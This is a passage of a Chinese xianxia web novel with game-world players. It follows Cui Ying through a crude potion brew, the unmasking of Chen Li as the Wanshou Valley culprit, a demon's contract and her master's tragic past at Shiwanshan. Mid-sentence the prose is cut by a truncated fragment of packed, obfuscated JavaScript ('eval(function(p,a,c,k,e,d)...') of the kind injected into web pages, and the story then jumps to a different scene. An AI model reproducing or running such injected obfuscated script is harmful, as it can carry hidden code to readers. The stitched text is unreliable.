这里的所有人都知道她是靠什么混进罗汉峰的,詹三因为没喝茶水没中毒,所以还有余力在旁边说风凉话:“余小玉,不行别逞强啊,这里还有许多师兄师姐,出头不成,别害了大家。” 余小玉懒得理他,直接对任喜儿道:“我需要一间房,不要人来打扰。” 余小玉上楼一段时间后,一股带着味道的药腥气就飘了下来,霎时间所有人都面如土色。崔滢能体谅他们的心情,毕竟站在这里的无一不是人中龙凤,如今却要将自己的身家性命交付到一个身微力弱的小丫头身上,自然没什么好滋味。 又有弟子传话:“崔滢,那个谁要你上去帮忙。” 崔滢:“哦。” 一上楼,那股呛鼻的药味更冲了。 崔滢捏着鼻子找到了据点,房中没有燃烛,唯有一笼炭烧的光亮,锅里头的东西在滚,咕嘟咕嘟地冒泡,稠得像泥沼。 气泡鼓起,胀大,然后“噗”一声裂开,溅出几点粘稠的浆液落在炭堆里,发出嗤嗤的轻响。 那烟是幽绿色的,盘旋着上升,扭动如活物,不肯轻易散入昏暗的空气。 锅很大,起码可以泡一个人进去,崔滢踮脚往里看,浓汤是深不见底的墨绿,偶尔翻腾起一些说不清道不明的块状物。 忽然“咕嘟”一声,一只黑白分明拳头大的眼珠翻了上来,正好对着崔滢。 “……” 崔滢“啊”的叫了一声,连连后退,指着锅里的东西惊骇道:“那,那是什么!” “鱼眼啊。” 余小玉从锅的后面跳出,她踩上椅子,一只手摁着不知道从哪变出来的帽子,另一只手拿着木勺舀起眼珠,伸嘴往勺边的汤汁嘬了嘬,那酷似人的眼球中央的黑瞳直勾勾转向余小玉,被她用拇指和中指弹开了。 崔滢这时候才发现,余小玉的鼻子挺而尖,杏眼过分大,睫毛浓长,戴上那帽檐宽大顶部尖细的帽子,简直,简直就像个…… 像个女巫。 还是个必须爆点装备才能激发技能的女巫。 “所以那颗六品的聚气丸,就是这么炼出来的。”崔滢喃喃,也不知道是在问余小玉还是自言自语,但余小玉默认前者,抬头挺胸道:“怎么样,没见过吧?幸好我擅自跟来了,要不然你们在这个鬼地方,中个毒,吃错点东西什么的,都不知道上哪求救去!” 看着她那副本土口语流利,修士神态活灵活现,却头戴女巫帽手煮汤药的模样,崔滢产生了强烈的割裂感。 生平头一回意识到,原来人可以在异世界活的如此如鱼得水。 余小玉又捞了捞,捞上来一只活的青蛙腿,踢踢踏踏,溅了她一身。 “你怎么那么淡定?”余小玉握着那只在半空踢踏蛙腿,不满道,“这可是我第一次在别人面前展现我的天赋,你应该有点表示。” 崔滢本来就是在强装镇定,闻言尬笑两声,挠头,“我也不懂你们药修的事。” “只有我很特别哦。” 崔滢沉默,道:“确实,帽子很特别。” 余小玉乐了。 余小玉停了火,开始盛装药汤,崔滢趁机观察那口一人高的巨锅,上面涂满扭曲弯绕的咒纹,隐隐有红色的力量滚过。这口锅不是这个游戏里应该出现的东西,前段时间余小羽下山陪她姐,大概就是在忙这口锅的事情。 余小羽知道余小玉的身份吗?如果是这样,他也有很大概率是玩家。 崔滢的头又开始痛。 “你炼药这么有天赋,应该进澜沧山才是,为什么不多在咸芸长老面前自荐一下?”崔滢转移话题,一边帮忙装药汤一边问,余小玉却摇头,“她说的没错,这个本来就不是我的志向。” “说白了,我在这里什么志向都没有,进内门也是为了我弟弟的事,而且我贼讨厌那种清高的地方,不知道进去之后得有多苦闷,还是你和师父好。我觉得我能进罗汉峰,已经是幸事一件了。” 崔滢暗示自己千万不能感动。 “这是什么药?” “什么也不是。”余小玉神色平常,“这是我的自制药水,无垢宗要求的那些丹药,我只会炼聚气丸。” 半刻钟后,无垢宗的弟子们看着碗里冒着五花八门的零件的沼泽般的浆水,集体陷入死寂。 任喜儿拎起一根粗壮发紫指甲尖锐的手指,沉默半晌道,“这是什么?” “药材。” 余小玉脸不红心不跳。 “碗里的东西都别馋嘴啊,都是珍贵的材料,我要回收的,喝水就行。” 所有人再次:“……” 到底谁会馋啊! 任喜儿抿嘴,像是下定了某种决心,一仰脖喝了个干净,然后面无表情地吐出手指。运功调息后,她缓声道:“能喝。” 乾元宗大师姐都发话了,剩下的人也不再过多纠结。有人在喝药的时候发出一声惨叫,他半张脸都是药汁,不敢相信自己被一条从药水里跳出来的青蛙腿给扇了。 看见那副惨样,还没喝完药的人都变得小心翼翼起来。 “怪不得咸芸长老不肯收你。”詹三旁观道,“此等歪门邪道,进去了也是被赶出来的份。” “别理他。”余小玉对崔滢说,“他就是想吸引我的注意。” “自作多情。” “看,”余小玉摊手,“欲擒故纵。” “余小玉!”詹三终于怒声,但毕竟邱老和任喜儿在场,他没法光明正大地发作,喊个名字就咽下去了。 崔滢其实很佩服,如果可以,她也很想学这种不费一兵一卒,活活气死一个金丹修士的技能。 虽然药水很惊悚,但所有人的状态的确肉眼可见地好了起来,余小玉不忘向邱老领功:“师父,徒儿也是有点本事的,下次这种活动,你可不能只带师姐,不带我了啊!” 詹三那口恶气堆积,闻言又怪声怪气:“本事那么大,楼上晕倒的人那么多,你倒是救啊。” “不必了。” 众人循声望去,楼道口,宋如莺扶着刚醒的陈丽,木泓站在最前,身后是从袭击中恢复的弟子们。 每个人的脸色都有种近乎病态的苍白。 “是谁带我和如莺回来的?” 木泓冷峻道。 崔滢和余小玉开始装死,任喜儿姿态随意地坐在桌子上举了举手,“我。” “只有你?” “我一个还不够?” 木泓默然,又问。 “你是怎么找到我们的?” “跟踪啊。”任喜儿把手指往余小玉怀里一丢,意味深长的笑,“倒是我应该问,深更半夜,你和宋如莺无端跑出竹楼,怎么知道那里有一间暗室的?” 摘来摘去,火线还是要引到崔滢这里。 她可以学任喜儿推到余小玉身上,站在余小玉的角度也确实是这样。但崔滢现在另有想法。 “任前辈,我和师兄也是事出有因。”宋如莺果然接话道,“一个时辰前,我在二楼外廊复习剑法,碰巧看见从窗口御剑而出的崔师妹。” “万兽谷迷影重重,我只是保持应有的怀疑,很合理吧,任前辈?” “好。”任喜儿转向崔滢,语气意有所指,“那你来说说,半夜行动,所为何事?” …… 余小玉正要接话,崔滢出声:“是有人指引。” 余小玉嘴还没闭上,缓缓看向她。 崔滢一字一句,声音平稳:“我之前说,我在墓穴里遇见了一个恶魔,现在想来,那应该就是喜儿前辈口中的魔族,是他给我的线索,让我去找那间暗室。” 不擅长撒谎,所以从一开始就打算说实话。余小玉靠近崔滢,慢慢拉住了她的手臂,沉重而恳切。 崔滢垂了垂眼。 就是这样。 罗汉峰相处的这段时间,她和余小玉的关系还不错,但也仅仅就是不错。 如果一旦被她发现崔滢就是“gale”,她们这段脆弱的同门情谊很快就会破裂。 余小玉率真善良,虽然不知道原因,但她大概率不知晓崔滢玩家的身份。 暗室这事,说大不大,说小不小。 但是崔滢这样做,在余小玉眼里,那就是替她扛下了。 事不重要,心意最大。 如果能够进一步拉近她们之间的距离,崔滢在这个游戏里之后要走的每一步,就多了一分保障。 她瞥向余小玉抓紧自己的手指。 如果可以,她也想把这里当做桃花源,安详自由下去。 可现实不允许她继续逃避了。 “崔滢,你知道你在说什么吗?” 邱长老沉寂多时,在这时候忽然出声,他的眼睛像是冷却的岩浆,硬而深沉。 “如果指引你的是那个魔族,这意思是,万兽谷的事情,和他没有关系?” 崔滢:“我觉得是。” 弟子之中有不赞同的声音。 毕竟这里除了崔滢,谁都没见过传说中的魔族,但谁都知道这个种族的名声。 “他为什么选中了你?” 附近的人都没开口,找了一番,才发现说话的人在人群之外,竟然是刚刚苏醒的陈丽。 红棕色的卷发就像爆炸一样烘在她的脸侧,崔滢很意外提出这个问题的是她,想了一下答道:“可能因为他也想要一个答案吧。” 崔滢的认知不够清晰,但她知道这个时候,自己绝不能提揭开封印的事。 “……什么?” “万兽谷的事情不是他干的,所以他希望我们能找到真相。”崔滢摊手,“我猜是这样。” “……” “可以了。” 邱长老出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“亡灵会诱惑身边人到十万山,每一个从十万山里出来的人,都无法分辨是真是假。仙盟意识到事情的严重性,只能运用最快捷也最粗暴的手段,屠杀。” “先是杀去过十万山的人,然后,就是屠整座十万山。” 崔滢小声:“所以师兄师姐……” “不。”邱老平声,“他们是执行屠杀的一员。” “古亡灵残念极深,擅长乔装,蛊惑人心,你的师兄师姐,就是善念太过,动心不忍,被亡灵趁虚而入了。” 崔滢:“师父……” “你口中的那个魔族,为师不清楚。”他转向崔滢,瞳孔深黑,“但此等物种,和那古战场亡灵并无区别,为师不希望你重蹈覆辙,明白吗?” “嗯。” 别说了,她也想知道怎么才能甩掉那货。 “好了,我还要去查一查魔族的资料。”邱老的脸色终于缓了下来,崔滢低头,她的手心里被塞进了一块什么东西,被油纸包裹,捏上去软软的。 打开,崔滢用手指沾了一点放进嘴里,是麦芽糖。 甜丝丝的。 “每次去都看你屋里放着,想来是爱吃。”邱长老老望着她,“朔月之前,可千万别再乱跑了。” “我知道了,师父。” 目送师父离开,崔滢抱着糖,转身趴在栏杆上,望了一会儿底下渐渐疏散的幽冥火,捧起油纸咬了一小口糖。 “放一会儿又不会坏。” 崔滢寸目不移,舌头在牙关摩挲,“我想吃。” 温如骨不知何时趴在崔滢旁边,和她一模一样的姿势,这时崔滢将油纸包伸过来:“要吗?” 语气平淡寻常,眼神都没往他这边看,就好像私塾同桌再平常不过课后分享。 温如骨盯了她一会儿,伸出手指戳了点,抹到唇上,再用舌尖卷了进去。 “腻。”他简明扼要地评价。 “你不怕我了?” “嗯,你不是说我是你的契约主吗。”崔滢道,“我就是在想,你既然知道这么多,为什么不直接告诉我,反而要给我线索,让我自己去找呢?” 温如骨笑,“不是你拒绝的吗?” “我是我,你是你啊。” 崔滢托着腮,扫干净牙关上的最后一丝甜意,“你是在保护某个人吗?” 温如骨一顿。 千年古井般的瞳眸望向她。 少女的嗓音飘飘柔柔,像是一匹没有褶皱的丝绸,“你不能直接告诉我答案,是因为你和那个人之间,也有契约要遵守吗?” 温如骨的脸上慢慢浮现出一点笑。 像是流入河中的一盏灯,湿润而浅淡。 “我现在感觉,揭开封印的人是你,似乎也不错。” 崔滢的惊讶不比温如骨少,“我猜对了。” “没错。” “正如你在暗室里看到的那样,这个召唤仪式分为两步,一,献祭血肉。” 温如骨折下一根手指。 “二,揭开封印。” “不巧的是,这两步分别有两个人完成,那么我的归属权,自然也就由这两人共同支配。” 崔滢发现,虽然是在说“归属权”,但这人的语气漫不经心,好像那是一个无关紧要的东西。 “如果想要完整的支配我。”他的嘴角勾起一丝隐秘的弧度,“你认为应该怎么办?” 这事不难猜,崔滢见过这样的套路,即便如此,她的心脏还是像被浸到了热水里一样,身体涌过一阵阵电流。 “要,”她顿了顿,“杀掉另一个契约者?” “对喽。” 油纸包被捏紧的声音缓慢响起。 “所以刚刚在一楼,你不该为那个女孩挡枪,反而暴露了自己,” 温如骨的声音戏谑又冷漠,“朔月之前,想想该如何保住自己的小命吧,空心人。” 26. 万兽谷 王德发。 当时崔滢脑子里就这一个想法。 意思是她聪明反被聪明误了? 距离朔月还有两天,她要在和凶手近距离封闭式吃喝拉撒睡的接触下保证自己活过两天,命多硬敢这么造啊。 崔滢的大脑宕机了。 回过神时,手里的糖已经被旁边那个恶魔吃得一干二净了。 崔滢无语,搞什么,走那种外表冷艳高贵嘴毒傲娇实际喜食甜食热爱毛绒绒的反差萌路线? 有点费她口粮了吧! 正无言之际,恶魔的袖中忽然闪出一片浅青色的影子,下一秒,崔滢感觉自己的胃被狠狠撞了一下,下意识伸手托住。 低头,琉璃兽幼崽睁着一双澄澈的琥珀眼,急切而又亲昵地蹭了蹭。 崔滢:“……” 她面无表情地把琉璃兽扯下来,丢回给恶魔。 “可真绝情。”温如骨安抚着茫然的琉璃兽,轻声,“可它很喜欢你。” “等以后它知道我把它亲娘喂给它的时候就不喜欢了。” 崔滢忽然想起什么,“我师父说他们掉下来的时候遭遇了袭击,是你干的吗?” “嗯哼。” “为什么?” “我要是不出手,你们怎么会往魔族这边想。” “意思是你伤害我的同伴是为了提醒我?” 发觉自己气笑出声的时候已经来不及了,她闷闷扭头,假装欣赏天空。 “另一个契约主刚刚见过我,”温如骨垂下脖颈,肩骨像是削薄的刀,令人无法靠近,又忍不住注目。“想不想知道祂跟我说了什么?” 崔滢发现他总是用这种寻常的语气,说出最蛊惑人心的话语。 看着她默许的样子,温如骨笑了笑,“祂说,让我杀了这里除了你和祂之外的所有人。” 崔滢沉默。 万兽谷大规模屠杀都做的出来的人,这样的命令也不足为奇。 “你要动手?”拜托,她可是刚才在所有人面前说过这家伙的好话。 “没有。”温如骨轻松道,“因为我知道你不会同意。” 好比一个核炸弹,两个串联开关,只要其中一个摁死,炸弹就运行不了。 “如果另一个契约主问你,你也会想这样把我们的对话如实告诉祂吗?”她问。 “自然。” 崔滢点头。 一炷香后,竹楼的另一个角落。 崖壁上的光石正在逐个亮起,谷顶的天光洒下,一个黑乎乎的人影站在阴翳里,分辨不出体型五官,温如骨靠着栏杆看那人。 “她是这么说的?”那人道。 “一字不差。”温如骨说。 “……” 那人缓慢启声,有些吞字,“可以。” 崔滢要传的话是:万兽宗东南角有一处碧溪源,朔月之前,除了晚上回到竹楼,其余时间她会那个地方。如果另一个契约者找她,可以去那里。 很细致的一句话,仿佛能看见她对着温如骨仔细叮嘱的模样。 决定不再逃避的胆小者,做出了一个看上去很坚决的选择。 那人:“她这是在钓鱼。”还是空饵。 温如骨:“可你会去的。” “我不会。” “会。” “不会。” “会。” “你凭什么认为我会?” “因为你不愿意伤害你的同伴。” 那人粗声粗气的笑了一下,冷嘲热讽,“你以为我放你出来是为了什么?” “那又如何。”温如骨耸肩,“这和我说的不冲突。” 那人又沉默。 “去找她吧,从你见到她的那一刻,你们之间就必有这一遭。”温如骨支在栏杆边笑了笑,漂浮的光影模糊了他的线条,像是一团冷雾,带着未知的柔和寒意。 光线由衰转盛,由盛转衰。 沿着万兽宗的碧溪往上,便能看见一口森幽的积水潭,这里似乎鲜有人至,四周杂乱的植桠野草无序生长,显得愈发幽静。 崔滢抱腿坐在潭水边,纤长的手指悬在水面上方,正在逗弄两只唇口开合的细鱼。 这些没有生出灵智的生物并不会受孢子蛊的影响发狂,无知无觉地配合着崔滢的动作,平静的潭水掀起莹花,像是这片死地最后的余温。 “我是不是太蠢了?” 她对着鱼,又像是自言自语,“那个人会不会以为这是我埋伏的陷阱,要是我叫了任喜儿余小玉她们守在这,等那人一来,不是正好瓮中捉鳖吗?” “唉。” 她长吁短叹。 “算喽算喽,还是不要自作聪明了。” “你这废物。”她也不知道自己是在学谁的语气,可能是徐薇,也有可能是她日日夜夜以来的自言自语,“手脚不行,脑子也不行,逃走又有什么用呢?离开这一个徐薇,还有千千万万个徐薇,遇到下一个徐薇的时候,你又该怎么办?” 崔滢对着两条脑面积加起来不超过指甲盖的鱼絮絮叨叨。 忽然,她眼神一凝。 崔滢扭头,嶙峋的石岸尽头,一双粗壮的脚踏上,视线由下往上,最后定点在那头刺目的红卷发上。 陈丽:“你果然在这。” 崔滢:“……” 崔滢缓缓:“……是你?” “这话,应该我问。”陈丽眯了眯眼,矮而壮的身躯像是一堵墙,严严实实的挡住了来路,也让崔滢意识到她已经没有退路了,“怎么是你?” 崔滢发现,陈丽说话的时候,背后的双手斧也慢慢滑到了她的掌心。 危险的信号在空气中绷成一根细弦,两人都在不动声色中移动身体的重心,然后,一刹那。 崔滢:“等——” 砰!潭水掀起五尺,岸边石豁开两道深深的斫口,陈丽像头沉气的猛兽,黑着脸抬首,猛地盯向闪到树上的崔滢。 树起码三人高,她没有看清她是怎么上去的。 “抱歉。”崔滢蹲据在重重叶影间,“让你生气并不是我的本意。” “那你最好,就把,我的东西。”陈丽的每一步都踩在颤抖的碎石上,嗓子里滚出一串石块磨砂一样的声音,“还回来!” “何必到这种地步?!” 崔滢震惊。陈丽玩家的身份在她看来已经是昭然若揭,但她无论如何也想不明白,就算整部游戏不过是数字生命,陈丽是怎么能做到如此漠视,毫无规则意识? 简直像个野人! 一句经典台词从崔滢的口中脱口而出:“万兽谷的那些性命呢,他们又何其无辜!” 陈丽的动作在树下停住了,崔滢时刻提防她砍树,毕竟那两把斧头看上去再适合不过…… 念头落下的瞬间,崔滢的视线还没来得及收回,头顶就盖下了一片阴影。 陈丽俯视着缓慢抬头的崔滢,斧尖寒芒一现,眼神轻蔑。 什…… 崔滢的瞳孔剧烈收缩。 这是何等可怕的弹跳力?! 没有一丝灵力掺杂,纯靠肌肉力量?? 敢情姐们宗门大比的时候还收敛了,但凡你在大比里跳这么一下,进的可就不是内门,是研究院了吧! 铁斧席卷带风,带着开山劈海的气势轰然落下,树干像是遭受了某种巨力挤压登时化作碎片,陈丽猛地看向侧方,崔滢捂着心口惊魂未定,两人的眼神对上一瞬。 崔滢:她到底为什么这么恨我?难道已经发现了我是玩家?还是仅仅因为我占据了她的契约?…… 陈丽:她到底是怎么躲开的? “你约我,到这里,不就是为,了分个胜负吗?” 断句并不影响陈丽的怒火,脚下生风,挥着重达二十公斤斧头,狂风直逼面门,崔滢再次闪避,大声喊道,“你误会了!” 陈丽怔住。 趁这愣神的瞬间,崔滢再度喊,声音刮过树叶,像是用尽了全身的力气:“还要再旁观到什么时候?” 话音落,狂风大作。 暴风卷着砂砾模糊了陈丽的视线,她用手臂蹭着眼睛,异物逼着眼眶不断发酸,落泪,陈丽眯着眼将手中的斧头舞的狂轰乱炸,这时一道嗓音柔柔地从她脊背攀爬上来,像是阴冷又黏腻的蛇信,令人头皮发麻。 “这样一出好戏,我怎么舍得看完呢?” 那一秒被无限拉长,空气似乎削薄到极致,变成一片薄薄的刃,无声无息接近陈丽的喉管。 就在一瞬间,陈丽看清那不是空气,而是一柄颜色清灰气息微渺的利剑! 陈丽的身体虽十分笨重,行动起来却灵活有余,袭击者的剑落了空,她立刻调整姿势,拎着捉影剑微笑看向两人。 崔滢知道,即便她谁也不说,但是有那么一个人,一定会跟着她。 而那个人,恰好可以解决这里的大部分人。 崔滢:“宋师姐。” “崔师妹。” 宋如莺皮笑肉不笑,“这就是你安排的好戏?” 陈丽的双眸被怒火点亮,狠狠盯向崔滢:“你耍我!” 崔滢心虚目移。 但确实,她让恶魔传话的时候,只说等,也没说只有她一个人等。 这的确是个空饵。 愿者上钩。 陈丽的力气加上双手斧这种武器,尽管占尽优势,但毕竟修为境界摆在那里,筑基难敌金丹,宋如莺三两下将陈丽收拾的服服帖帖,用芥子囊关押之后,水潭旁边就只剩下两个人。 崔滢干巴巴地鼓了下掌:“师姐威武!师姐救我小命,师姐好厉害!” “师妹过誉了。” “你今日所作所为,我会向宗门说明。”宋如莺微笑,柔声道,“方才的对话我都听见了,万兽谷的案子,到此为止。” 回到竹楼,所有人在一楼汇合,得知案子已经破获,脸上纷纷露出震惊到呆滞的神色。 余小玉满脸嘀咕,知道这条剧情线她进得晚,可这也太晚了吧?连点油水都没捞着啊! 鼻青脸肿的陈丽靠着桌腿颓丧的坐着,在她面前,邱老,任喜儿并排而立,木泓与宋如莺稍后,其余弟子在最后。 “陈丽,”任喜儿沉心静气,“你可认罪?” 陈丽点头。 “万兽谷的这些人,都是你杀的?” 陈丽用力抬头,瞪着问出这话的人,片刻后又颓丧回去,道,“是我杀的。” “……”满室死寂。 邱老叹息,蹲下来道:“看着我,陈丽。” 陈丽抬头。 “万兽谷案发初,你只是一个外门弟子。” 陈丽:“正因为是外门,所以可以躲过内门的眼线。” “蛊毒是我从罗刹黑市买的,至于万兽谷的弟子,我一个筑基期的小修士自然办不到杀了所有人,杀死这些人的,是他们签订契约的灵兽。” 灵兽发狂攻击契主,再被契约反噬亡佚,而这一切,都源于陈丽下的那个蛊。 “……” 邱长老疲倦长叹,站起来,“凶手已经归案,回去向瞿掌门交代吧。” “等等。”任喜儿出声。 “既然已经认罪,就干脆一并交代清楚。”她上前几步,衣料裹着纤薄而结实的腰身,弯腰的时候视线尽数落在陈丽的头顶,压迫感十足,“那个被你召唤的魔族,现在在何处?” 崔滢扣紧手指,慢吞吞藏进人群里。 “契约……没有完成。”她的脸被揍肿了,说话像是含着口水,断断续续,“我不知道他在哪。” 这样问是问不出什么的,众人商议一番,还是决定先离开这里,押送疑犯回宗。 所有人浩浩荡荡走出竹楼的时候,看着上方密密麻麻的红色眼睛,任喜儿叹气,用胳膊肘戳了一下崔滢:“你就不能让这些灵兽清醒过来?” 崔滢摇头。 “可惜咯。”也不知道是在感叹给谁听,“要是你能做到的话,这个万兽谷估计就是你的啦。” 崔滢:“……” 哪有这么夸张。 上方的血蝠虎视眈眈,无垢宗的弟子们默契回想起当初出谷的手段,纷纷面如菜色。 看着离自己数尺远缩成一团瑟瑟发抖的同门,崔滢扯了扯嘴角,抬起手。 很快,地面开始震动。 那剧烈的震颤直接惊飞了停在崖壁上的血蝠,一条深黑的裂缝由远及近,小山丘拔地而起,像是迸发的血管迅速接近崔滢,然后,两根令人胆寒的触须从地下伸了出来。 宋如莺准时“嘎嘣”一声躺下,安详地睡着了。 余小玉没有见过这种世面,她本来是离崔滢最近的,现在如遭雷击,一屁股坐在了地上。 蠊后破土而出,像座山一样节节拔高,与此同时海一样挥舞着翅膀的蜚蠊从那头汹涌而来,迅速挡在了所有人的上空,嗡鸣声震天撼地。 “……” “……” “…………” “别怕。” 崔滢向着大脑飞出外太空的余小玉伸出一只手,“它们只是耐活,但脾气很好的,没那么可怕。” 耐活。 脾气好。 不可怕。 余小玉看着巨蠊一张一合的口器:……… 闺蜜。 这叫没,那,么,可,怕? 崔滢说的是真心话。 蜚蠊在妖兽志里之所以可怕,不过是因为瘆人的外表,杀不死的惊人生命力,还有复制般的繁衍能力。除此之外,在崔滢的印象里,这种生物爱干净,通人性,适应环境的能力极强,这些都是崔滢想要拥有的特性。 那片死亡的阴影再度出现在无垢宗上空时,守门弟子张嘴,烧饼从他的口中落下,啪拓掉在了地上。 搞什么,又来?!! 这回还没等宗门口布置好轰击阵法,上面的人以迅雷不及掩耳之势迅速落地,在所有人没看见的地方,蠊后也以肉眼可见的速度飞快变小,钻进了崔滢的发丝里。 一行人轰轰烈烈通过仙阶云栈赶往长老殿,崔滢趁所有人都不注意溜了出来,转头,对上了同样溜出来的余小玉。 “哎呀。”她伸了个懒腰,“反正凶手都已经找到了,那些长老可能说废话了,我才不要去那里浪费时间。” 虽然是这么说,但崔滢能懂她这么做的另一个原因。 三天的时间就快到了。 很快,她们就都要回到现实世界,比起在长老殿罚站,肯定更加愿意给自己寻个变数少一点的地方。 崔滢和余小玉在山上慢慢地走,有一搭没一搭地聊着,身旁景物变换,余小玉忽然道:“我们是不是走错地方了?” 崔滢四处看。 罗汉峰不比其他山峦阔气,乱石杂路很多,常常容易辨不清方向,之前就迷路过许多次。不过好歹也是在自家地盘,两人安心随意的走,眼前猝然开阔,竟是一座小院。 小院的形制与崔滢和余小玉住的那间十分相像,只是更大一些,多了两间侧屋,余小玉一下兴奋起来:“会不会是师父的住所?” 崔滢一看她的样子就知道她在想什么,委婉推脱,“啊,这不太好吧。” 东方人不都讲究一个礼仪含蓄么? 但显然,余小玉不是这样的东方人。 “哎呀走吧走吧,就看一眼,看看我们导……师父住在什么样的地方就行,走吧走吧……” 耐不住软磨硬泡,崔滢半推半就,两个人跨过了竹篱小门。 院子里很干净,地上有竹丝扫帚洒扫过的新鲜痕迹,还有几只正在窝里打盹的母鸡。 崔滢踩上台阶的时候,木头发出了不堪重负的声音,她的目光从台阶掠过,落到了门板,然后是整面墙。 她在无垢宗见到的大部分建筑都是由木材搭建,表面涂有特质的油性材料。这座屋子的木材却十分的老旧,像是经历的岁月的侵蚀,表面看上去无虞,实际松脆不堪,一用力就会发出老人磨牙般的动静。 余小玉从旁边走过来,“嘎吱嘎吱”踩上台阶,跟在崔滢身后道:“师父这屋子比我们大,我在那边看到好几个房间,哼,真会享受啊!” 余小玉这话是奔着和崔滢打俏去的,没想到石沉大海,对面没有一点回应。余小玉有点不高兴,崔滢这时候道:“不是。” “什么不是?” “这里不是师父的住所。” “开玩笑。”余小玉指着不远处,“喏,师父常穿的衣服都晾在那边,后院还有一片菜田,一看就有人天天料理,不是师父住在这能是谁?哎崔滢,我们一会儿去菜田里偷两朵蘑菇,好不好?” 说话的间隙,崔滢已经完全转过身,由上而下的看着余小玉的眼睛,犹豫了一下。 “我的意思是,这里可能不是师父原本的住所。”她慢吞吞地说,“可能,是师兄师姐的。” 余小玉呆住了。 黄昏的阴风穿过两人中间,发丝搔痒了脸颊,崔滢别到耳后,余小玉一激灵,终于反应过来:“是哦。” “一二三四五……”她眼珠转了转,“我在那边看到的,加上这边,正好有六个卧房!” 就像崔滢和余小玉住在一块一样,曾经,邱长老的六个弟子,也同住在一座小院。 日出而作,日入而息,院落,桌角,灶台,菜田,黄昏秾丽的光影摇摆,每一处仿佛都有着旧人嬉笑的幻影留存。 白日沉入地缘,静谧的片刻,一种截然不同的心情将崔滢和余小玉包裹。她们开始重新审视这个地方,余小玉叹道:“没想到师父还是个重情义的。要是有天我们死了他可咋办?不然一三五住这屋,二四六住我们那屋……” 听着余小玉无厘头的自言自语,崔滢被逗乐了,“哪有这么容易死?” “不好说。” 两个人轻声打闹着走进屋子里,一桌一椅一榻,简单干净,是邱长老的风格。她们像进入大人房间的小孩四处看看,拿起东西以后又小心翼翼放回原位,生怕大人回来以后发觉出什么端倪。这种毫无风险的冒险并不为什么奖励,就像逛博物馆,纯是给自己找点事做。 “看这里!”余小玉指着墙上几把长长短短的断剑,“这是师兄师姐们的武器吧,师父一直收着,肯定非常想念他们。” “师父和弟子关系一直这么好吗?” “看人,邱长老和徒弟的关系一向不错。”余小玉道,“其实外门很多人都想成为罗汉峰的弟子,因为邱老对待弟子视如己出,亦师亦友,是很多人理想中的师徒关系,我说加入罗汉峰是幸事,可是一点也没夸张。” “要是师兄师姐当年没有被锁在十万山,说不定现在,罗汉峰能更热闹呢。” 崔滢点头,又拿起一只茶杯看了看,猝然盯向余小玉:“你说什么?” 余小玉莫名:“我说什么了?” “刚刚那句。” “罗汉峰,更热闹……?” “上一句。” “要是师兄师姐当年没有被锁在十万山……” 看着崔滢惊愕的表情,余小玉重重叹气。 “你这算什么啊,来内门都多少天了,连这点八卦都没收集到。当年罗汉峰受仙盟急召前往十万山清洗,当时去十万山的不止无垢宗一家,林林总总,加起来得有上百修士吧。” “说是清洗,其实就是屠杀的美化词,十万山的亡灵依坟而生,有些则是寄居山上生物,有人也有兽,这些人的人物,就是炸坟,杀人,屠兽。” “十万山清洗总共进行了五轮。只有第一轮,被后来的人称为‘十万山突围’。因为当时围山的阵法刚刚形成不够稳定,而那些古亡灵都是遗存了智慧的生物,轻易就找出了缺口,同时守山弟子中也有亡灵寄生者暴起,内忧外患的情况下,仙盟下了第二道紧急命令。” “这第二道命令,就是由当年的师父执行。” “因为师父见多识广,他的上古秘笈‘破万卷’,以识海为阁,藏万卷书魂。所谓‘太阳底下无新事’,只要以前发生过的,就没有他应付不了的。当时师父很快找出了一种古老的结界,可以直接套在十万山的阵法之外,优点是快速且稳固,缺点是支撑不了太久,而且一旦形成,好比金钟罩,进出不能。” 这时候崔滢插嘴:“怎么确认这些从山里出来的弟子有没有被亡灵寄生?” “好问题。”余小玉摇头晃脑,“亡灵只能继承躯壳主的三天前的记忆,进山的弟子手上都会带一个子母镯,每隔两炷香就要拨动镯上的暗珠;假如两炷香内暗珠没有被拨动,仙盟就会默认该弟子已经牺牲。” “尚存的弟子得到十万山的讯息迅速离开,阵法发动的同时,仙盟往里注入了毒气。” “毒杀?”崔滢咀嚼着字眼。 “只能这样。”余小玉道,“那些亡灵成分复杂,深受古战场邪念浸染,为了杀个干净,可以说是不择手段。然后悲剧就在这里啦,阵法发动之后,邱长老发现自己的弟子没有出来。” “死了?” “不。”余小玉面无表情地吐出了一个更加绝望的答案,“还活着。” 时至今日,没有人知道那六个弟子是为什么没能及时拨动暗珠。 也许是因为他们遭遇了意外,也许是他们已经被取代。 邱长老立在云端上,看着山中还在战斗的徒弟时,当场就要解开阵法,自然是被拦住了。 “光誉,不可!” 咸芸率先出声喝止,她正在调用毒药的药力注入十万山,这个过程需要极强的专注力,咸芸的衣衫都已汗湿,不得不大声喊:“现在开阵,毒药溢出,就不止是死几个人的事了!” “……” 邱光誉抖着嘴唇:“他们还活着……” “当心着相!” 掌门瞿荒握住邱光誉的肩头,沉声,“他们没有拨动暗珠,就已经不是罗汉峰的人了!” 爬出地底的只有五个,其中一个,邱光誉认得,是老四,她的两条手臂都断了,像条血抹布一样倒在地上;另一个老六,他抬起手,五根手指被齐齐切断,竭力伸进手镯,看上去是想要拨动里面的暗珠。 在他们周围,密密麻麻的亡灵躯壳如同地狱鬼魅,在微弱的攻击下一步一步围裹蚕食。 “亡灵狡猾。”又有人道,“这些弟子进山多时,这点小动作,它们有可能早就注意到了。” 在此之前,仙盟已经见识过太多,这些亡灵的手段比寻常人更加莫测,它们可能卧底,演戏,装病,甚至通过自相残杀来让同伴获取信任。 密密麻麻的声音像是游动的蛛网,复合的声音交重,邱光誉站在高高在上的云间,感到自己在不断下坠。 下坠。 五个弟子都看到了铺天盖地的仙盟修士,他们的眼睛大而无神,充满了希冀与绝望的混合物,惊心动魄。 “嗯。”邱光誉的眼睛闪烁,冷静道,“说得对,亡灵狡猾。” 瞿荒怔忪,似乎没想到他能这么冷静,开口安慰:“这是必要的牺牲……” 话音未落,面前人影已无。 瞿荒猛地扭头。 “邱光誉————!!” 崔滢想,如果她是师父,那个时候会是什么感觉? 邱光誉化作一道剑光冲向十万山,他的胸前溢出大片鲜血,那是将法术倒行逆施、承受反噬痛苦强行破开结界的象征。 